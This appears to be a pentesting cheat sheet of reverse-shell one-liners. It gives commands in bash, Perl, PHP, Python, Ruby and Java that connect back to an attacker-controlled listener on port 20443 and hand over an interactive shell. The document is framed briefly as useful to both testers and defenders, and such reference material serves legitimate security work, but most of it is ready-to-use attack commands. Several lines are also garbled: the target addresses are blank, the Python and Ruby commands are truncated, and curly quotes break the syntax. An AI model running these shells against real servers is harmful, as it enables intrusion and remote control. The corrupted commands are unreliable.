Shells (from the korn shore)

Getting Shell

Getting a shell returned when testing a webserver is vital during a pentest. Equally, in defending a webserver it is imperative to know the extent an attack could go to in order to get a shell.

Each of the examples below require a remote code execution on the webserver of some form. The also require some form of listener to be running on the attacker controlled machine to receive the shell.

Bash Shell

This is a very basic TCP socket method which should work for the vast majority of Linux systems.

bash -i >& /dev/tcp/ 0>&1


0<&196;exec 196<>/dev/tcp/; sh <&196 >&196 2>&196


exec 5<>/dev/tcp/ cat <&5 | while read line; do $line 2>&5 >&5; done  # or: while read line 0<&5; do $line 2>&5 >&5; done

Perl Shell

Perl is an older scripting / programming language. It is useful particularly on the older systems where PHP or Python are not installed.

perl -e ‘use  Socket;$i=”″;$p=20443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/ksh  -i”);};’


perl -MIO -e '$p=fork;exit,if($p);$c=new  IO::Socket::INET(PeerAddr,"");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_  while<>;'

or on Windows

perl -MIO -e '$c=new  IO::Socket::INET(PeerAddr,"");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_  while<>;'

For newer Perl

perl -MIO::Socket -e '$p=fork;exit,if($p);$c=new  IO::Socket::INET(PeerAddr =>  "");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_  while<>;'

PHP Shell

PHP is a very common web development language.

php -r ‘$sock=fsockopen(“”,20443);exec(“/bin/ksh -i <&3 >&3 2>&3”);’

Python Shell

Python exists on both Linux and Windows. It is highly portable to can be very beneficial to the attacker.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",20443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/ksh","-i"]);'


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",20443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["cmd.exe","-i"]);'

Ruby Shell

Not too common but still good to know is the Ruby shell.

ruby -rsocket -e'"",20443).to_i;exec sprintf("/bin/ksh -i <&%d >&%d 2>&%d",f,f,f)'

Java Shell

For the eternally damned, there is a method for Java environments.

r = Runtime.getRuntime()
p = r.exec(["/bin/ksh","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])